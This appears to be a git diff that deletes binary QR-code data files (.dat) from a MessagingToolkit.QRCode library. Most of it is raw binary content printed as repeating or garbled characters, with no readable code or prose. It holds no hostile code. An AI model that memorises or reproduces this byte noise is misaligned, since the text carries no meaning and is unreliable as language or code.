-''(())**vvuuttss778899::ffeeddccZZ[[\\]] !!""##}}||{{zz00112233mmllkkjj55443322 IIJJKKLL43322110 - - 223399::>>==<<;; ""##$$%%{{zzyyxx22334455\\[[ZZYY||}}~~ ++,,--..rrqqppoo;;<<==>>bbaa``__^^__``aa$$%%&&''yyxxwwvv44556677iihhggff1100//.. - - MMSSTTUU0//..--,  ~~}};;<<==>>::993322 - -  &&''(())wwvvuutt66778899XXWWVVUU !!""~~}}||{{//001122nnmmllkk??@@AABB^^]]\\[[bbccddee (())**++uuttssrr8899::;;eeddccbb--,,++** - - VVWWXXYY,++**))( !!""##$$||{{zzyy??@@AABB1100//.. - - **++,,--ssrrqqpp::;;<<==TTSSMMLL##$$%%&&zzyyxxww33445566jjiihhggCCDDEEFFZZYYXXWWffggmmnn - - ~~,,--..//qqppoonn<<==>>??aa``__^^))((''&& ZZ[[\\]](''&&%%$ - - %%&&''((xxwwvvuuCCDDEEFF--,,++** !!~~}}||..//0011oonnmmll>>??@@AAKKJJIIHH - -''(())**vvuuttss778899::ffeeddccGGHHIIJJVVUUTTSSooppqqrr !!""##}}||{{zz00112233mmllkkjj@@AABBCC]]\\[[ZZ%%$$##""^^__``aa$##""!!  - - ))**++,,ttssrrqqGGHHIIJJ))((''&&""##$$%%{{zzyyxx22334455kkjjiihhBBCCDDEEGGFFEEDD ++,,--..rrqqppoo;;<<==>>bbaa``__KKLLMMNNRRQQPPOOssttuuvv$$%%&&''yyxxwwvv44556677iihhggffDDEEFFGGYYXXWWVV!! ~~}}||{{bbccddee   ~~}}--..//00ppoonnmmKKLLMMSS%%$$##"" &&''(())wwvvuutt66778899ggffeeddFFGGHHIICCBBAA@@ !!""~~}}||{{//001122nnmmllkk??@@AABB^^]]\\[[OOPPQQRRNNMMLLKKwwxxyyzz - - (())**++uuttssrr8899::;;eeddccbbHHIIJJKKUUTTSSRR 3399::;;GGFFEEDDmmnnoopp00//..--}}~~  [[ZZYYXXqqrrsstt''&&%%$$ - - ZZ[[\\]]##""!! <<==>>??CCBBAA@@qqrrsstt,,++**)) - -  !!WWVVUUTTuuvvwwxx##""!! ^^__``aa@@AABBCC??>>==<>==<<;; ""##$$%%nnmmggffwwxxyyzz - - ~~}}||YYZZ[[\\)((''&&%  ~~}};;<<==>>::993322 - -  &&''(())eeddccbb{{||}}~~ - -  - - {{zzyyxx]]^^__``%$$##""! !!""##$$||{{zzyy??@@AABB1100//.. - - **++,,--aa``__^^ wwvvuuttaabbccdd!  - - %%&&''((xxwwvvuuCCDDEEFF--,,++** !!~~}}||..//0011]]\\[[ZZ !!""##ssrrqqppeeffggmm - - ))**++,,ttssrrqqGGHHIIJJ))((''&&""##$$%%{{zzyyxx22334455YYXXWWVV$$%%&&''oonnmmggnnooppqq  ~~}}--..//00ppoonnmmKKLLMMSS%%$$##"" &&''(())wwvvuutt66778899UUTTSSMM(())**++ffeeddccrrssttuu!!""##$$||{{zzyy11223344llkkjjiiTTUUVVWW!!  - - **++,,--ssrrqqpp::;;<<==LLKKJJII !!~~,,--..//bbaa``__vvwwxxyy %%&&''((xxwwvvuu55667788hhggffeeXXYYZZ[[ !!~~}}||..//0011oonnmmll>>??@@AAHHGGFFEE""##$$%% !!""##}}||{{zz00112233^^]]\\[[zz{{||}} - -  - - ))**++,,ttssrrqq99::;;<>??@@``__^^]]``aabbcc &&''(())wwvvuutt66778899ggffeeddFFGGHHII@@??>>==**++,,--(())**++uuttssrr8899::;;VVUUTTSS!!""##$$||{{zzyy11223344llkkjjiiAABBCCDD\\[[ZZYYddeeffgg - - **++,,--ssrrqqpp::;;<<==ccbbaa``JJKKLLMM<<;;::99..//0011,,--..//qqppoonn<<==>>??MMLLKKJJ%%&&''((xxwwvvuu55667788hhggffeeEEFFGGHHXXWWVVUUmmnnoopp !!~~}}||..//0011oonnmmll>>??@@AA__^^]]\\NNOOPPQQ332211002233445500112233mmllkkjj@@AABBCCIIHHGGFF - - ))**++,,ttssrrqq99::;;<>??@@``__^^]]MMNNOOPPPPOONNMMuuvvwwxx - -&&''(())wwvvuutt66778899ggffeeddFFGGHHIIWWVVUUTTVVWWXXYY++**))((::;;<<==8899::;;eeddccbbHHIIJJKKAA@@??>>!!""##$$||{{zzyy11223344llkkjjiiAABBCCDD\\[[ZZYYQQRRSSTTLLKKJJIIyyzz{{|| **++,,--ssrrqqpp::;;<<==ccbbaa``JJKKLLMMSSRRQQPPZZ[[\\]]''&&%%$$~~}}||>>??@@AA<<==>>??aa``__^^LLMMNNOO==<<;;::%%&&''((xxwwvvuu55667788hhggffeeEEFFGGHHXXWWVVUUUUVVWWXXHHGGFFEE}}~~~~}}||..//0011oonnmmll>>??@@AA__^^]]\\NNOOPPQQOONNMMLL^^__``aa##""!! {{zzyyxxBBCCDDEE@@AABBCC]]\\[[ZZPPQQRRSS99332211))**++,,ttssrrqq99::;;<>??@@``__^^]]MMNNOOPPPPOONNMM]]^^__``@@??>>==wwvvuutt66778899ggffeeddFFGGHHIIWWVVUUTTVVWWXXYYGGFFEEDDffgghhiissrrqqppJJKKLLMMHHIIJJKKUUTTSSRRXXYYZZ[[,,++**))!!""##$$||{{zzyy11223344llkkjjiiAABBCCDD\\[[ZZYYQQRRSSTTLLKKJJIIaabbccdd<<;;::99 !ssrrqqpp::;;<<==ccbbaa``JJKKLLMMSSRRQQPPZZ[[\\]]CCBBAA@@jjkkllmmoonnmmllNNOOPPQQLLMMNNOOQQPPOONN\\]]^^__((''&&%%%%&&''((xxwwvvuu55667788hhggffeeEEFFGGHHXXWWVVUUUUVVWWXXHHGGFFEEeeffgghh88776655!""##$$%oonnmmll>>??@@AA__^^]]\\NNOOPPQQOONNMMLL^^__``aa??>>==<>??@@``__^^]]MMNNOOPPPPOONNMM]]^^__``@@??>>==mmnnoopp00//..--)**++,,-ggffeeddFFGGHHIIWWVVUUTTVVWWXXYYGGFFEEDDffgghhii77665544vvwwxxyy ccbbaa``ZZ[[\\]]XXYYZZ[[EEDDCCBBhhiijjkk11223344llkkjjiiAABBCCDD\\[[ZZYYQQRRSSTTLLKKJJIIaabbccdd<<;;::99qqrrsstt,,++**))-..//001ccbbaa``JJKKLLMMSSRRQQPPZZ[[\\]]CCBBAA@@jjkkllmm33221100zz{{||}}__^^]]\\^^__``aa\\]]^^__AA@@??>>llmmnnoo55667788hhggffeeEEFFGGHHXXWWVVUUUUVVWWXXHHGGFFEEeeffgghh88776655uuvvwwxx((''&&%%12233456__^^]]\\NNOOPPQQOONNMMLL^^__``aa??>>==<>??@@``__^^]]MMNNOOPPPPOONNMM]]^^__``@@??>>==mmnnoopp00//..--}}~~ <<==>>??WWVVUUTTVVWWXXYYGGFFEEDDffgghhii77665544vvwwxxyy''&&%%$$ !!""##SSRRQQPPjjkkllmmhhiijjkk55443322xxyyzz{{xxwwvvuuAABBCCDD\\[[ZZYYQQRRSSTTLLKKJJIIaabbccdd<<;;::99qqrrsstt,,++**))@@AABBCCSSRRQQPPZZ[[\\]]CCBBAA@@jjkkllmm33221100zz{{||}}##""!! $$%%&&''OONNMMLLnnooppqqllmmnnoo1100//..||}}~~ ttssrrqqEEFFGGHHXXWWVVUUUUVVWWXXHHGGFFEEeeffgghh88776655uuvvwwxx((''&&%%DDEEFFGGOONNMMLL^^__``aa??>>==<>==mmnnoopp00//..--}}~~  ~~}}LLMMNOPQGGFFEEDDffgghhii77665544vvwwxxyy''&&%%$$00112233CCBBAA@@zz{{||}}xxyyzz{{%%$$##""feeddccbQQRRSSTTLLKKJJIIaabbccdd<<;;::99qqrrsstt,,++**)) - - ||{{zzyyRSSTTUUVCCBBAA@@jjkkllmm33221100zz{{||}}##""!! 99::;;<>==<<~~||}}~~!! baa``__^UUVVWWXXHHGGFFEEeeffgghh88776655uuvvwwxx((''&&%%xxwwvvuuVWWXXYYZ??>>==<>??@@;;::9988 !!""^]]\\[[ZYYZZ[[\\DDCCBBAAiijjkkll44332211yyzz{{||$$##""!!ttssrrqqZ[[\\]]^;;::9988rrssttuu++**))(( - - AABBCCDD77665544##$$%%&&ZYYXXWWV]]^^__``@@??>>==mmnnoopp00//..--}}~~  ppoonnmm^__``aab77665544vvwwxxyy''&&%%$$EEFFGGHH33221100''(())**VUUTTSSRaabbccdd<<;;::99qqrrsstt,,++**)) - - - - ggffeeddbccddeef33221100zz{{||}}##""!! IIJJKKLL//..--,,++,,--..QPONMMLLeeffgghh88776655uuvvwwxx((''&&%% ccbbaa``fgghijkl//..--,,~~ MMSSTTUU++**))(( - -//001122KKJJIIHHiijjkkll44332211yyzz{{||$$##""!!__^^]]\\mmnnoopp++**))(( - -  VVWWXXYY''&&%%$$ZHAbtlJvnXbHAXQJtbdQZvpfbtlnXv`bHAZdrtA`vXnے`JXQtlJnXv`rXQJ`|dtHAbےZdQbtpvnJ`ےdQZ|~f`HAbےZdQbtpvnJ`ےltb`vXHd|Z~HfprXQJtbdQpfH~˂pZHAd|Z~HfprXQJtbdQpfH~tlJ`f~Zp˂tAJlnvpXQr˂JtArdے`JXQtArdv`f`ےb|drH~fJtAdf~Hp˂rJltvpfr˂ptArdf~HےbHAbdQZ|`JXQrlJtAXv`fbHAZpdrtAJvXn`JXQrlJtAXv`fbHAZpdQZ|l~fZdQbtvnX`ےbZ|df`vbے`dQbtvnX`ےbZ|df`ptArdHfpvrXQJ`tbdQZfH~pZHAb|ZdQr˂p|ZdQb~HfpHAZp˂tAJlZHAb|ZdQbfpvXQJ`ےbdQZ|H~fZHAb|ZdQbfpvZp˂drtA˂pZrd|~Hf˂rXQltbvpfH˂pZrd|~Hf˂rXQtbdQHAblJtArv`fHAZp˂rtAJlXnvJXQrlJtArv`fHAZp˂rtAJlfH~|ZdQbnXvےbHA|drf`vXے`JbtlZHAbtlJv~rXQJtbdQZے`JXQtlJnXv`bH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ےdrtAJvXn`JXQrlJtAXv`fbHAZHf`˂pZۑpJAH`vXnbAdZ|JJJJJJJJJJJJJJJJJJJJJJJJJJJJJKKKKKKKKKKKKKK \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv37_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv37_1.dat deleted file mode 100644 index 233b589..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv37_1.dat +++ /dev/null @@ -1,329 +0,0 @@ -~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklkjijijijijijijijighghghghhghghghgfefefefefefefefedcdcdcdcdcdcbabababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMMMMMMNNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:98787878787878765656565656565653333434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklkjijijijijijijijighghghghgggghghgfefefefefefedcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOMNMNMNMNNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;:9:9:9:9:9:9:9878787878787878765656565656565654343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklkjijijijijijijijighghghghhghgfefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOMNMNMNMNNMNMNMMMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565654343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklkjijijijijijijijighghghghfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOMNMNMNMNMMMNMNMNLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565433333344343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklkjijijijijijijijighghghghfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPOMNMNMNMNMNMNMNMNLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABA@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565343434344343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmlklklklklkjijijijijijijijighggggggfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPOMNMNMNMNMNMNMNMNLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCBABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565343434344343433321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopoponmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPOMMMMMMNMMNMNMNMNLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565343434343334343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqpopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijihghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMMNMNMNMNLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565343434343434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutststststststsrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijihghghggghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMMNMNMMMMLKLKLKLKLKLKLKLKJIJIJIJIJIHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565343434343434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvutststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijiggghghghhghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMMMNMNMNMLKLKLKLKLKJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565333333433434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijighghghghhghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565434343433434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijighghghghhgggggghfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787876565656565434343433434333321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{zyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijighghghghghghghghfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPOMMMMMNMNLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787876565656565656565434343433343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!~}~}~}~}~}~}~}|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijighghghghghghghghfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSRQRQRQRQRQRQPOPOPOPOPOPOPOPOMNMNMNMNLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijighghggggghghghghfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOMNMNMNMNLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijigghghghgghghghghfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPONMNMMNMNMNMNLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787876565656565656565333334344343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijihghghghgghghghghfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQ